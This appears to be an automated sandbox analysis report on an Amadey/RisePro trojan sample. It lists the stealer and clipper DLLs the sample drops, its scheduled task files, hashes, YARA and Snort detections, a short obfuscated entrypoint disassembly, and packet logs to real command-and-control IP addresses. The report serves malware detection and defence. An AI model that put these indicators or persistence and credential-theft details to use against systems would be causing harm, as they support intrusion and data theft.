Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L...j..e...........!.....$...........f.......@............................................@......................... ...........P.......................................8...........................(...@............@..L............................text...6#.......$.................. ..`.rdata..4i...@...j...(..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285632
Entropy (8bit):	6.460494158653329
Encrypted:	false
SSDEEP:	24576:IvkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dggky+yC7:IsMPSYcS5wPi095Pbg9y
MD5:	15A42D3E4579DA615A384C717AB2109B
SHA1:	22AEEDEB2307B1370CDAB70D6A6B6D2C13AD2301
SHA-256:	3C97BB410E49B11AF8116FEB7240B7101E1967CAE7538418C45C3D2E072E8103
SHA-512:	1EB7F126DCCC88A2479E3818C36120F5AF3CAA0D632B9EA803485EE6531D6E2A1FD0805B1C4364983D280DF23EA5CA3AD4A5FCA558AC436EFAE36AF9B795C444
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............^...^...^.._...^.._...^.._2..^W._..^W._...^W._...^.._...^...^C..^.._...^.._...^..X^...^.._...^Rich...^........................PE..d...i..e.........." .........R......h........................................P............`......................................... ...X...x........ .......`..(............0..........p........................... ................................................text............................... ..`.rdata..............................@..@.data...L........D..................@....pdata..(....`......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................

C:\Windows\Tasks\explorgu.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000049001\amert.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.415237051673594
Encrypted:	false
SSDEEP:	6:xA/eX4RKUEZ+lX1yrlbtPjgsW2YRZuy0lz/u1ut0:xA/M4RKQ1yrrjzvYRQVz/Dt0
MD5:	CBCF83C51E9FC52ED3B933F9DB557C9B
SHA1:	6BCAFC1D0F5DB6A3C9176855FE460E9BB336BC12
SHA-256:	68D30CDAB5EA0267D3562C5DA6FD1479EDE4A09D2680BD6883F833D23406A9B8
SHA-512:	773CD6F98735BC529508CA27DEDF7C18119CE32BE7C57EB39F4F8288012D7C58F7A767F89A4CEAD7E620F9FF3F748EF1F315125A617B422FEAC889CFAAB7F063
Malicious:	false
Preview:	....b&.e8?.K....};.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.0.c.0.7.2.6.0.d.c.\.e.x.p.l.o.r.g.u...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\Windows\Tasks\explorha.job

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.402558286206917
Encrypted:	false
SSDEEP:	6:1YkarjPX4RKUEZ+lX1y6y2l+lRdtPjgsW2YRZuy0lz/1t0:1Ja3v4RKQ1y6NkDHjzvYRQVz/1t0
MD5:	95F83ED4ED505427619C1498C5C1B2D3
SHA1:	7337E41B2F5EB83C80B39AD96169834564A61749
SHA-256:	86DF8EC7C923B26E6B39A7BE7BBEB1D94916B20B3602690E3203CB18648CB96F
SHA-512:	277725C5362B848EA6548F211B4D992E245A21EDCA4A7FBEC6D4575CA90275CD0FF8F691F0838D3FE63DD0A13EF4EE3804E84F8FF26F74B1B8AED5ED9A92199F
Malicious:	false
Preview:	.......c.=.K....ml.PF.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.9.f.d.8.5.1.a.4.f.\.e.x.p.l.o.r.h.a...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.540089847600528
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe
File size:	3'086'848 bytes
MD5:	f70a70f653ae553a805fd21bc3092b13
SHA1:	095ff30abdfdeaa91018556ab4ec92566ad708d4
SHA256:	1ec09530c1153453b1bd0989af58808bc44e069c4608c878a64530bb08fa8840
SHA512:	9aad1103a4161a577b10ee612258add9b9147d77b50dfc6aad965672540557ce66fc026fea61dfaebffafc8baa24885bf33e3eb34cff7fd4c1200d781fd07586
SSDEEP:	49152:i9vplZ9RHTnN/ftM849KUF3wN7VWuDJ2W6yHq+zHnPVY:iVFHTN/fq849KUF3wN7EGpMkvG
TLSH:	ABE56BA2A809B1CFD08B57B89567CF83595C03B90B151DC3A8AC74BA7DB3EC126B7D14
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d.Y@...@...@....m..Q....m.......h..R....h..W....h..5....m..U....m..S...@........k..A....k1.A....k..A...Rich@...........PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x72d000
Entrypoint Section:	otarkcdf
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x65E4126F [Sun Mar 3 06:02:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
push 524417C7h
mov dword ptr [esp], esi
mov dword ptr [esp], 7D0A72D6h
mov dword ptr [esp], esi
push eax
mov dword ptr [esp], 57B86D65h
mov dword ptr [esp], edi
mov dword ptr [esp], eax
push edx
mov dword ptr [esp], 571ECD59h
mov dword ptr [esp], eax
mov dword ptr [esp], ebx
call 00007F36206D3276h
int3
push dword ptr [esp]
mov eax, dword ptr [esp]
add esp, 04h
add esp, 00000004h
push ecx
mov dword ptr [esp], 350DAB43h
mov dword ptr [esp], eax
pop ebx
push eax
push eax
mov eax, FFFFFFFFh
sub dword ptr [esp+04h], eax
pop eax
pop eax
push esi
mov esi, 002C2000h
add eax, 7FAEF171h
sub eax, esi
sub eax, 7FAEF171h
mov esi, dword ptr [esp]
add esp, 00000004h
sub eax, 0CC30034h
add eax, 0CC30000h
cmp byte ptr [ebx], FFFFFFCCh
jne 00007F36206D3328h
push eax
mov eax, 00000000h
sub eax, 7DFFB741h
add eax, ebx
add eax, 7DFFB741h
mov byte ptr [eax], 00000000h
mov eax, dword ptr [esp]
add esp, 00000004h
sub esp, 04h
mov dword ptr [esp], edx
mov edx, 7F8C36FEh
dec edx
not edx
shr edx, 04h
xor edx, 76FF3D10h
add edx, 81080E80h
mov ebx, edx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a056	0x6a	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x4d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x32bfa8	0x10	byqduimw
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x32bf58	0x18	byqduimw
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2ea00	aa3aef422cd8a68e43ae7fa23edd767f	False	0.9982091990616622	data	7.985971961341056	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x4d8	0x400	c6c632d6414590b02e439d270fc2930f	False	0.5888671875	data	5.012534493951635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	17662c92043abde8b4b3074dcc401ca6	False	0.1484375	data	1.0249469107790772	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
byqduimw	0x6b000	0x2c2000	0x2c1600	541893b518b4ec63584faf0d23b3e38d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
otarkcdf	0x32d000	0x1000	0x400	4181580a634f4c700c83154183dce73e	False	0.755859375	data	5.909740801083063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x32bfb8	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397
RT_MANIFEST	0x32c29e	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/13/24-20:21:05.168434	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49737	80	192.168.2.4	193.233.132.56
04/13/24-20:21:09.647703	TCP	2855239	ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST)	49741	80	192.168.2.4	193.233.132.56
04/13/24-20:21:18.885194	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49748	80	192.168.2.4	193.233.132.56
04/13/24-20:21:05.916433	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	49737	193.233.132.56	192.168.2.4
04/13/24-20:21:18.809875	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49745	58709	192.168.2.4	147.45.47.93
04/13/24-20:21:19.031733	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49747	147.45.47.93	192.168.2.4
04/13/24-20:21:15.412762	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49745	58709	192.168.2.4	147.45.47.93
04/13/24-20:21:11.547195	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49743	80	192.168.2.4	193.233.132.56
04/13/24-20:21:15.693405	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49745	147.45.47.93	192.168.2.4
04/13/24-20:21:10.757670	TCP	2856151	ETPRO TROJAN Amadey CnC Activity M7	49742	80	192.168.2.4	193.233.132.56
04/13/24-20:21:18.845614	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49746	147.45.47.93	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 13, 2024 20:21:03.691984892 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:03.692841053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:04.700421095 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:04.700536966 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.041120052 CEST	80	49737	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.041264057 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.043627977 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.043742895 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.168433905 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.168565035 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.511425018 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.511492014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.511533022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.511570930 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.511610031 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.511646986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.511686087 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.511683941 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.511683941 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.511683941 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.511684895 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.511724949 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.511765957 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.511800051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.511800051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.511800051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.511806965 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.511831045 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.511847973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.511856079 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.511898994 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.516638041 CEST	80	49737	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.517132044 CEST	80	49737	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.517224073 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.526530981 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.856729031 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.856784105 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.856822968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.856831074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.856831074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.856865883 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.856879950 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.856906891 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.856909990 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.856945992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.856957912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.856986046 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.857002020 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.857026100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.857034922 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.857076883 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.858300924 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.858339071 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.858362913 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.858377934 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.858396053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.858417034 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.858433962 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.858457088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.858469963 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.858513117 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.858530045 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.858567953 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.858584881 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.858604908 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.858620882 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.858644009 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.858659983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.858680964 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.858690977 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.858720064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.858731031 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.858761072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.858769894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.858809948 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.867324114 CEST	80	49737	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.916433096 CEST	80	49737	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:05.916505098 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:05.919224024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.200115919 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200184107 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200264931 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200272083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200272083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200356960 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200386047 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200408936 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200423002 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200464964 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200481892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200504065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200517893 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200544119 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200558901 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200582981 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200598955 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200623989 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200643063 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200664997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200679064 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200706959 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200719118 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200747967 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200754881 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200784922 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200803041 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200824976 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200843096 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200865030 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.200885057 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.200917959 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201191902 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201234102 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201250076 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201288939 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201555967 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201594114 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201611996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201632023 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201651096 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201669931 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201692104 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201709032 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201731920 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201755047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201757908 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201795101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201803923 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201833963 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201858044 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201873064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201883078 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201910973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201924086 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201950073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.201966047 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.201988935 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.202003956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.202028036 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.202040911 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.202065945 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.202084064 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.202102900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.202126026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.202141047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.202166080 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.202178955 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.202189922 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.202218056 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.202227116 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.202259064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.202280998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.202297926 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.202312946 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.202337980 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.202351093 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.202377081 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.202393055 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.202433109 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.265197992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.265355110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.265743017 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.544109106 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544141054 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544161081 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544182062 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544184923 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544184923 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544203997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544239044 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544258118 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544259071 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544258118 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544259071 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544279099 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544298887 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544297934 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544298887 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544317961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544318914 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544337034 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544341087 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544358015 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544363976 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544379950 CEST	80	49738	193.233.132.56	192.168.2.4
